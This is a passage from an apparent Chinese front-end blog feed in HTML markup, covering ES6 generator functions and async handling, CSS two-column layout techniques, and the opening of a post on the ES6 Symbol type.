class="keyword">var</span> g = gen()</span><br><span class="line"></span><br><span class="line"><span class="comment">//启动函数</span></span><br><span class="line">g.next()</span><br><span class="line"><span class="comment">//{value: 1, done: false}</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//向generator内部传递一个值100,并结束函数</span></span><br><span class="line">g.return(<span class="number">100</span>)</span><br><span class="line"><span class="comment">//{value: 100, done: false}</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//可以看出函数已经结束了</span></span><br><span class="line">g.next()</span><br><span class="line"><span class="comment">//{value: undefined, done: true}</span></span><br></pre></td></tr></table></figure><p>我们在上面提到,<code>generator</code>函数内部的<code>return</code>会将函数结束,并将<code>return</code>作为最后一个非<code>undefined</code>的<code>value</code>返回值。<code>generator</code>对象的<code>return</code>方法,作用跟函数内部的<code>return</code>是一样的。</p><p>现在我们可以来总结一下<code>next</code>,<code>throw</code>,<code>return</code>这三个方法:</p><ul><li>这三个方法都是用于在<code>generator</code>函数从 上个暂停的<code>yield</code>处启动时,向<code>yield</code>表达式传递值作为其表达式结果的方法。</li><li><code>next</code>方法传递一个普通值作为<code>yield</code>表达式的结果,相当于将<code>yield</code>表达式替换为一个普通值</li><li><code>throw</code>方法传递一个抛出的错误作为<code>yield</code>表达式的结果,相当于将<code>yield</code>表达式替换为一个<code>throw</code>语句</li><li><code>return</code>方法同样传递一个普通值作为<code>yield</code>表达式的结果,但它会结束函数的运行,相当于将<code>yield</code>表达式替换为一个<code>return</code>语句。</li></ul><h3 id="使用generator函数解决异步问题"><a href="#使用generator函数解决异步问题" class="headerlink" title="使用generator函数解决异步问题"></a>使用<em>generator</em>函数解决异步问题</h3><p>上面讲了一大堆关于<code>generator</code>函数的特性和方法,但大家对于它具体怎么应用在一些异步操作中还是有些疑惑。</p><p>首先我们来思考一下,异步问题,归根结底就是有的操作,需要耗费比较长的时间,我们又不想在这些操作进行的时候一直等着它返回结果。我们想要的理想状态是,当这些操作进行时,我们可以先做一点别的事情,等操作完成了,我们再去得到结果就行。</p><p><code>generator</code>函数就正好符合我们的要求。我们可以将异步操作包装在<code>generator</code>函数中,当异步操作进行时,函数暂停,我们可以去做其他的一些事情。当我们需要获得异步操作结果时,再使用<code>next</code>方法,取到结果并进行处理。这样看来,<code>generator</code>函数很适合来进行异步操作。</p><p>我们看下面的代码:</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//假设我们有一个耗时的操作</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">longTime</span>(<span class="params"></span>)</span>{</span><br><span class="line"> setTimeout(<span class="function"><span class="params">()</span> =></span> {</span><br><span class="line"> <span class="keyword">let</span> a = <span class="number">22</span></span><br><span class="line"> g.next(a)</span><br><span class="line"> },<span class="number">2000</span>)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//我们通过generator函数来获取来处理这个异步操作</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> *<span class="title">gen</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="keyword">let</span> result = <span class="keyword">yield</span> longTime()</span><br><span class="line"> <span class="built_in">console</span>.log(result)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//获得generator对象</span></span><br><span class="line"><span class="keyword">let</span> g = gen()</span><br><span class="line"></span><br><span class="line"><span class="comment">//执行generator函数,yield会去执行longTime这个异步操作,并暂停generator函数</span></span><br><span class="line"><span class="comment">//在上面的异步操作中,我们在得到异步操作的结果后,通过在异步操作中调用next方法,将结果再交给generator函数</span></span><br><span class="line">g.next()</span><br></pre></td></tr></table></figure><p>可以看出,通过<code>generator</code>函数来进行异步处理,其实就是构造一个<code>generator</code>函数,使用<code>yield</code>来启动异步操作,并在异步操作中将结果再通过<code>next()</code>方法传递回<code>generator</code>函数,从而完成异步操作。</p><p>很多异步操作都是通过回调函数来传递操作结果的,那我们如果想使用<code>generator</code>函数来对他们进行处理,就必须在他们的回调函数里使用<code>next</code>方法,拿最常见的<code>Ajax</code>举例。</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">funciton req(){</span><br><span class="line"> $.get(url, <span class="function"><span class="keyword">function</span>(<span class="params">data</span>)</span>{</span><br><span class="line"> g.next(data)</span><br><span class="line"> })</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> *<span class="title">gen</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="keyword">let</span> result = <span class="keyword">yield</span> req()</span><br><span class="line"> doSomeThing(result)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">doSomeThing</span>(<span class="title">x</span>)</span>{</span><br><span class="line"> <span class="built_in">console</span>.log(x)</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>那大家就可能有这样一个问题了,我为什么不直接在<code>Ajax</code>的回调函数里对结果进行处理,还要费那么大麻烦把结果传递回<code>generator</code>函数里干嘛。</p><p>额,单纯这样用<code>generator</code>函数是没什么用,在多个异步操作时,我们要在每个异步操作的回调里使用next传递结果,到处的回调里都是<code>next</code>,显得十分愚蠢。</p><p>于是就有了这样的一个解决方案,我们通过<code>Thunk</code>函数,将形如<code>$.get(url, callback)</code>类型的异步请求形式,转换为 <code>aGet(url)(callback)</code>形式的调用,这样,我们就可以在每次 <code>next</code>的返回值的<code>value</code>中自定义回调函数,从而简化代码。如下:</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//首先通过thunk函数,将 $.get(url,cb) 转换为 aGet(url)(cb)的调用形式</span></span><br><span class="line"><span class="keyword">let</span> aGet = thunk($.get)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> *<span class="title">gen</span></span>{</span><br><span class="line"> <span class="keyword">var</span> r1 = <span class="keyword">yield</span> aGet(<span class="string">'urlA'</span>)</span><br><span class="line"> <span class="keyword">var</span> r2 = <span class="keyword">yield</span> aGet(<span class="string">'urlB'</span>)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> g = gen()</span><br><span class="line"></span><br><span class="line"><span class="comment">//我们通过上面thunk的转换,使得next每次返回的对象value值可以直接接受一个回调函数作为参数,从而使我们更方便的在回调函数里使用next()来传递异步操作结果</span></span><br><span class="line">g.next().value(<span class="function"><span class="keyword">function</span> <span class="title">cb</span>(<span class="params">data</span>)</span>{</span><br><span class="line"> g.next(data).value(<span class="function"><span class="keyword">function</span> <span class="title">cb</span>(<span class="params">data</span>)</span>{</span><br><span class="line"> g.next(data)</span><br><span class="line"> })</span><br><span class="line">})</span><br></pre></td></tr></table></figure><p>这种方式第一是写起来比较麻烦,难以理解,不够清晰明了。第二就是需要引入额外的<code>thunk</code>相关库来对各种有回调函数的异步<code>API</code>进行包装,增加了使用成本。</p><p>对于那些不使用回调函数,而是返回<code>promise</code>对象的异步<code>API</code>,使用<code>generator</code>函数来进行处理其实是一样的步骤,只不过将回调函数中的<code>next</code>调用换到了<code>then</code>中。</p><p>当然,<code>generator</code>函数有一些相关的库,例如<code>co</code>库,可以用来降低我们在回调函数和<code>then</code>中使用<code>next</code>来进行异步操作结果传递的麻烦程度,但同样的,也会增加我们的使用成本,降低多人协作开发中的容错率。引入相关的类库来改变项目中的所有异步操作处理步骤,可能对于一些大型项目来说,是需要慎重考虑的事情。</p><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>相比于<code>promise</code>的原生支持和简明的用法,<code>generator</code>函数略显鸡肋,在<code>ES7</code>推出的<code>async/await</code>这个终极异步操作处理方案面前,<code>generator</code>函数就更有些尴尬了。</p><p>如果希望了解更多关于<code>generator</code>函数的知识,仍旧推荐阅读阮一峰老师的<code>ES6入门</code>,关于<code>generator</code>函数的一些细节和异步操作处理的更多应用,都介绍的比较详细。<a href="http://es6.ruanyifeng.com/#docs/generator-async" target="_blank" rel="noopener">赠送飞机票一张</a></p><p>好了,对于<code>generator</code>函数的介绍,就到这里了。谢谢阅读。</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 前端 </category>
<category> ES6 </category>
</categories>
<tags>
<tag> 前端 </tag>
<tag> ES6 </tag>
</tags>
</entry>
<entry>
<title>CSS两栏布局的常用方法</title>
<link href="/2018/05/04/css-two-col-fix/"/>
<url>/2018/05/04/css-two-col-fix/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p>两栏布局作为<code>CSS</code>中一个比较古老的布局问题,可以用多种方法实现。在实际工作中很多人也大概跟我一样都是用的时候顺着思路写出来一个能用就行,很少仔细考虑过各个实现方法之间的那些细微的差异和特殊情况下布局的不同表现。</p><p>不过话说回来,为了写这篇博客,我也查了不少有关<code>CSS</code>布局的资料和文章,算是温习了很多布局方面已经被慢慢遗忘的知识。也越发觉得<code>flex</code>布局方式大概真的是未来网页布局的最佳解决方案,那些传统的各种不正交的<code>CSS</code> 概念,庞杂繁复又无趣,实在是有些反人类。</p><p>前端的各种框架类库和新技术层出不穷,工作这么长时间来,自己也接触了不少。前端构建,组件化,模块等等这些东西做久了,还真是蛮怀念当初刚入前端做切图仔的日子,虽然工资不高,工作也挺单调,但那些整天就知道傻乐的日子,也好像真的一去不复返了呢。</p><p>好了,不扯远了,说正事。</p></blockquote><a id="more"></a><p><code>CSS</code>的两栏布局,通常情况都是一个固定宽度的侧边栏加上一个自适应宽度的主内容栏。实现方式比较多,本文肯定不能尽述,仅对常用的方法做一个介绍。</p><h4 id="浮动方式"><a href="#浮动方式" class="headerlink" title="浮动方式"></a>浮动方式</h4><p><code>float</code>方式,也是最简单的实现两栏布局的方式。如下:</p><figure class="highlight css"><figcaption><span>CSS</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-class">.container</span>{</span><br><span class="line"> <span class="attribute">width</span>:<span class="number">100%</span>;</span><br><span class="line">}</span><br><span class="line"><span class="selector-class">.sidebar</span>{</span><br><span class="line"> <span class="attribute">float</span>:left;</span><br><span class="line"> <span class="attribute">width</span>:<span class="number">220px</span>;</span><br><span class="line">}</span><br><span class="line"><span class="selector-class">.main</span>{</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="双浮动方式"><a href="#双浮动方式" class="headerlink" title="双浮动方式"></a>双浮动方式</h4><p>此种方式需要配合<code>CSS</code>的<code>calc</code>属性,从而避免无宽度元素浮动会自动缩小为最小宽度的问题。</p><figure class="highlight css"><figcaption><span>CSS</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-class">.container</span>{</span><br><span class="line"> <span class="attribute">width</span>:<span class="number">100%</span>;</span><br><span class="line">}</span><br><span class="line"><span class="selector-class">.sidebar</span>{</span><br><span class="line"> <span class="attribute">float</span>:left;</span><br><span class="line"> <span class="attribute">width</span>:<span class="number">220px</span>;</span><br><span class="line">}</span><br><span class="line"><span class="selector-class">.main</span>{</span><br><span class="line"> float:left;</span><br><span class="line"> <span class="selector-tag">width</span><span class="selector-pseudo">:calc(100</span>% <span class="selector-tag">-</span> 220<span class="selector-tag">px</span>)</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="float-BFC-方式"><a href="#float-BFC-方式" class="headerlink" title="float + BFC 方式"></a><strong><em>float + BFC</em></strong> 方式</h4><p>这种方法同样利用了浮动,但通过为主内容栏设置<code>overflow</code>形成<code>BFC</code>,来达到避免被侧栏覆盖的效果。</p><figure class="highlight css"><figcaption><span>CSS</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-class">.container</span>{</span><br><span class="line"> <span class="attribute">width</span>:<span class="number">100%</span>;</span><br><span class="line">}</span><br><span class="line"><span class="selector-class">.sidebar</span>{</span><br><span class="line"> <span class="attribute">float</span>:left;</span><br><span class="line"> <span class="attribute">width</span>:<span class="number">220px</span>;</span><br><span class="line">}</span><br><span class="line"><span class="selector-class">.main</span>{</span><br><span class="line"> overflow:auto;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="行内块方式"><a href="#行内块方式" class="headerlink" title="行内块方式"></a>行内块方式</h4><p>将两栏元素都设为行内块<code>inline-block</code>,再通过<code>calc</code>属性来达到主内容区宽度自适应。</p><figure class="highlight css"><figcaption><span>CSS</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-class">.container</span>{</span><br><span class="line"> <span class="attribute">width</span>:<span class="number">100%</span>;</span><br><span class="line">}</span><br><span class="line"><span class="selector-class">.sidebar</span>{</span><br><span class="line"> <span class="attribute">display</span>:inline-block;</span><br><span class="line"> <span class="attribute">width</span>:<span class="number">220px</span>;</span><br><span class="line">}</span><br><span class="line"><span class="selector-class">.main</span>{</span><br><span class="line"> <span class="attribute">display</span>:inline-block;</span><br><span class="line"> <span class="attribute">width</span>:<span class="built_in">calc</span>(100% - 220px)</span><br><span class="line">}</span><br></pre></td></tr></table></figure><blockquote><p><code>calc</code>方式虽然可以达到自适应的效果,但是对宽度计算比较苛刻,同时也会因为盒模型表现方式不同而出现布局问题。另外在将两栏都改为行内元素后,还需要考虑<code>vertical-align</code>问题。不推荐使用。</p></blockquote><h4 id="固定定位方式"><a href="#固定定位方式" class="headerlink" title="固定定位方式"></a>固定定位方式</h4><p>为侧边栏设置固定定位,缺点是需要改变父元素的定位方式。同时因为侧边栏已脱离文档流,当高度较高时就会超出父容器,同时还需要为主内容区设置外边距保证其不会被侧边栏覆盖。</p><figure class="highlight css"><figcaption><span>CSS</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-class">.container</span>{</span><br><span class="line"> <span class="attribute">position</span>:relative;</span><br><span class="line">}</span><br><span class="line"><span class="selector-class">.sidebar</span>{</span><br><span class="line"> <span class="attribute">width</span>:<span class="number">220px</span>;</span><br><span class="line"> <span class="attribute">position</span>:absolute;</span><br><span class="line"> <span class="attribute">top</span>:<span class="number">0</span>;</span><br><span class="line"> <span class="attribute">left</span>:<span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"><span class="selector-class">.main</span>{</span><br><span class="line"> margin-left:220px;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>当然也可以将两栏都设置为固定定位来达到布局效果,但这种方式比较暴力,且难以维护,不推荐。</p><figure class="highlight css"><figcaption><span>CSS</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-class">.container</span>{</span><br><span class="line"> <span class="attribute">position</span>:relative;</span><br><span class="line"> <span class="attribute">overflow</span>:hidden;</span><br><span class="line">}</span><br><span class="line"><span class="selector-class">.sidebar</span>{</span><br><span class="line"> <span class="attribute">width</span>:<span class="number">220px</span>;</span><br><span class="line"> <span class="attribute">position</span>:absolute;</span><br><span class="line"> <span class="attribute">top</span>:<span class="number">0</span>;</span><br><span class="line"> <span class="attribute">left</span>:<span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"><span class="selector-class">.main</span>{</span><br><span class="line"> position:absolute;</span><br><span class="line"> <span class="selector-tag">top</span><span class="selector-pseudo">:0</span>;</span><br><span class="line"> <span class="selector-tag">left</span><span class="selector-pseudo">:0</span>;</span><br><span class="line"> <span class="selector-tag">width</span><span class="selector-pseudo">:100</span>%;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="table方式"><a href="#table方式" class="headerlink" title="table方式"></a><strong><em>table</em></strong>方式</h4><p>使用表格布局的方式来达到想要的效果(很久远以前的实现方式,透露着老气。。。)另外当两栏高度想要不同时,这种方法就没法用了。</p><figure class="highlight css"><figcaption><span>CSS</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-class">.container</span>{</span><br><span class="line"> <span class="attribute">display</span>:table;</span><br><span class="line">}</span><br><span class="line"><span class="selector-class">.sidebar</span>{</span><br><span class="line"> <span class="attribute">display</span>:table-cell;</span><br><span class="line"> <span class="attribute">width</span>:<span class="number">200px</span>;</span><br><span class="line">}</span><br><span class="line"><span class="selector-class">.main</span>{</span><br><span class="line"> <span class="attribute">display</span>:table-cell;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="flex-方式"><a href="#flex-方式" class="headerlink" title="flex 方式"></a><strong><em>flex</em></strong> 方式</h4><p>这种方式,代码简单方便可控,兼容问题在现在也不是什么大问题了。推荐使用</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">.container{</span><br><span class="line"> display:flex;</span><br><span class="line">}</span><br><span class="line">.sidebar{</span><br><span class="line"> flex:0 0 200px;</span><br><span class="line">}</span><br><span class="line">.main{</span><br><span class="line"> flex:0;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><blockquote><p>需要注意的是,<code>flex</code> 布局默认<code>align-item:stretch</code>,导致列等高。如需要不同高度,可将此属性设置为<code>algin-item:flex-start</code> 。</p></blockquote><p>以上就是我总结的关于两栏布局的一些实现方法。感谢阅读。</p><p><strong><em>ps:</em></strong>前端搞来搞去,还真是<code>CSS</code>最让人头大哈哈哈哈。</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 前端 </category>
<category> CSS </category>
</categories>
<tags>
<tag> 前端 </tag>
<tag> CSS </tag>
</tags>
</entry>
<entry>
<title>ES6之Symbol</title>
<link href="/2018/04/28/es6-Symbol/"/>
<url>/2018/04/28/es6-Symbol/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p>众所周知,在 <code>JS</code> 中有六种基本数据类型,即五个原始数据类型<code>Undefined</code> ,<code>Null</code>,<code>Boolean</code>,<code>String</code>,<code>Number</code>和一个对象类型<code>Object</code>。</p><p>在<code>ES6</code>中,又推出了一种新的原始数据类型,就是我们今天博客中要介绍的——<code>Symbol</code>类型。</p><p>这种新的数据类型是做什么用的呢?它有哪些需要我们及时了解和掌握的知识和特性呢?</p><p>就让我们来一步一步揭开<code>ES6</code>新数据类型<code>Symbol</code>的神秘面纱吧。</p></blockquote><a id="more"></a><p><strong><em>Symbol</em></strong>,就是符号,标志的意思。在<code>ES6</code>新出现的<code>Symbol</code>数据类型,主要有以下两个作用:</p><ul><li>提供<code>JS</code>中一直比较欠缺的一种特性: <strong><em>唯一性</em></strong></li><li>为操作<code>JS</code>的相关内部逻辑提供接口,也就是操作一些<code>JS</code>的语言内部行为</li></ul><p>当然,第二个作用一般在实际业务和项目中是很难遇到应用的地方的(别告诉我你有在项目代码中进行<code>JS</code>魔改的打算。。。。</p><p>所以这篇博客里对<code>Symbol</code>的介绍,也主要侧重于它的第一个作用,也就是它所能提供的<strong><em>唯一性</em></strong>, 具体是个什么东西。</p><h3 id="Symbol的创建"><a href="#Symbol的创建" class="headerlink" title="Symbol的创建"></a><strong><em>Symbol</em></strong>的创建</h3><p>创建一个<code>Symbol</code>类型的值的语法如下:</p><figure class="highlight js"><figcaption><span>javascript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">Symbol</span>([description])</span><br><span class="line"><span class="comment">//description为可选参数。为创建的symbol值提供一个描述</span></span><br></pre></td></tr></table></figure><p>通过<code>Symbol()</code>这个静态函数,我们可以创建一个<code>symbol</code>类型的值。</p><p>需要注意的是,跟其他的原始类型不同,创建出来的这个<code>symbol</code>值我们是看不见的,这也是<code>symbol</code>对于很多初学者来说比较难以理解的地方,它并不像一个字符串或者数字一样,非常直观的静静的躺在代码里,它是隐藏在代码后面的。我们知道<code>Symbol()</code>函数返回一个<code>symbol</code>值,我们也可以将这个<code>symbol</code>值赋值给一个变量,但我们并不能真真切切的看到这个<code>symbol</code>值。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> a = <span class="built_in">Symbol</span>()</span><br><span class="line"><span class="comment">// 此时变量a代表的就是我们创建的symbol值,一个独一无二的值。</span></span><br><span class="line"><span class="keyword">let</span> b = <span class="built_in">Symbol</span>()</span><br><span class="line"><span class="comment">// 变量b是我们创建的另一个symbol值,它也是独一无二的。</span></span><br><span class="line"><span class="keyword">typeof</span> a <span class="comment">// symbol</span></span><br><span class="line"><span class="keyword">typeof</span> b <span class="comment">// symbol</span></span><br><span class="line">a <span class="comment">// 打印到控制台,输出 Symbol()</span></span><br><span class="line">b <span class="comment">// 打印到控制台,同样输出 Symbol()</span></span><br><span class="line">a === b <span class="comment">//false</span></span><br></pre></td></tr></table></figure><p>到这里,我们就应该可以理解<code>symbol</code>值的创建方法了,也明白了我们每次调用<code>Symbol()</code>创建的每个<code>symbol</code>值,都是独一无二,仅此一份的,绝对不会重复。</p><p>那问题又来了,虽然我们在上面代码中创建的两个<code>symbol</code>值是不相等的,独一无二的,但打印到控制台,输出的都是<code>Symbol()</code>。我们怎么区分它们呢?谁知道它们是不是代表的同一个<code>symbol</code>。</p><p>别忘了我们在上面提到的,<code>Symbol</code>函数可以接受一个可选参数<code>description</code>。这个参数,就可以为我们创建的<code>symbol</code>值,提供一个描述,便于我们进行区分。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> a = <span class="built_in">Symbol</span>(<span class="string">'a symbol'</span>)</span><br><span class="line"><span class="keyword">let</span> b = <span class="built_in">Symbol</span>(<span class="string">'b symbol'</span>)</span><br><span class="line">a <span class="comment">// 打印到控制台,输出 Symbol('a symbol')</span></span><br><span class="line">b <span class="comment">// 打印到控制台,输出 Symbol('b symbol')</span></span><br></pre></td></tr></table></figure><p>但要记得我们上面提到的,<code>Symbol()</code>函数每次创建的<code>symbol</code>值都是唯一的,<code>description</code>参数只是提供一个描述。</p><p>就算为两次创建的<code>symbol</code>提供相同的描述,它们各自仍然是独一无二的。切记:<code>symbol</code>的唯一性唯一性唯一性。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> a = <span class="built_in">Symbol</span>(<span class="string">'tsymbol'</span>)</span><br><span class="line"><span class="keyword">let</span> b = <span class="built_in">Symbol</span>(<span class="string">'tsymbol'</span>)</span><br><span class="line">a === b <span class="comment">//false</span></span><br></pre></td></tr></table></figure><p>以上就是<code>symbol</code>的基本概念,关于它,还有以下几个细碎的要点需要注意:</p><ul><li><p>作为原始数据类型,<code>symbol</code>值是不能用 <code>new Symbol()</code>创建的。(你问<code>new Boolean</code>,<code>new Number()</code> 为什么可以?额,这属于<code>JS</code>的历史遗留问题,其实它们也不是完全可以,不信你打印一下<code>typeof new Number(22)</code></p></li><li><p><code>symbol</code>值不能和其他类型的值进行运算</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> a = <span class="built_in">Symbol</span>()</span><br><span class="line"></span><br><span class="line">+a <span class="comment">//TypeError: can't convert symbol to number</span></span><br><span class="line">a + <span class="number">3</span> <span class="comment">//TypeError: can't convert symbol to string</span></span><br><span class="line">a + <span class="string">'aaa'</span> <span class="comment">//TypeError: can't convert symbol to string</span></span><br></pre></td></tr></table></figure></li><li><p><code>symbol</code> 可以显式转换为字符串</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> a = <span class="built_in">Symbol</span>(<span class="string">'a'</span>)</span><br><span class="line"></span><br><span class="line"><span class="built_in">String</span>(a) <span class="comment">//'Symbol(a)'</span></span><br><span class="line">a.toString <span class="comment">//'Symbol(a)'</span></span><br></pre></td></tr></table></figure></li><li><p><code>symbol</code>可以转换为布尔值</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> a = <span class="built_in">Symbol</span>(<span class="string">'a'</span>)</span><br><span class="line"></span><br><span class="line">!a <span class="comment">//false</span></span><br><span class="line"><span class="built_in">Boolean</span>(a) <span class="comment">//true</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//也可以像下面这样使用(谁会这么用啊摔</span></span><br><span class="line"><span class="keyword">if</span>(a){....}</span><br></pre></td></tr></table></figure><p></p></li></ul><h3 id="Symbol的使用"><a href="#Symbol的使用" class="headerlink" title="Symbol的使用"></a><strong><em>Symbol</em></strong>的使用</h3><h4 id="作为属性名使用"><a href="#作为属性名使用" class="headerlink" title="作为属性名使用"></a>作为属性名使用</h4><p>在上面提到<code>symbol</code>的唯一性这个特点时,相信很多同学就会想到将其作为属性名使用,从而避免我们经常遇到的,在向对象添加属性时错误覆盖对象原有属性等各种有关属性冲突的问题。</p><p><strong>通过将<code>symbol</code>值作为对象的属性名,保证这个对象属性的唯一性,也正是<code>symbol</code>最重要的作用之一。</strong></p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> star = <span class="built_in">Symbol</span>(<span class="string">'star'</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">//第一种方法</span></span><br><span class="line"><span class="keyword">let</span> obj = {}</span><br><span class="line">obj[star] = <span class="string">"hello symbol"</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//第二种方法</span></span><br><span class="line"><span class="keyword">let</span> obj = {</span><br><span class="line"> [star]: <span class="string">"hello symbol"</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//第三种方法</span></span><br><span class="line"><span class="built_in">Object</span>.defineProperty(a, star, {<span class="attr">value</span>: <span class="string">"hello 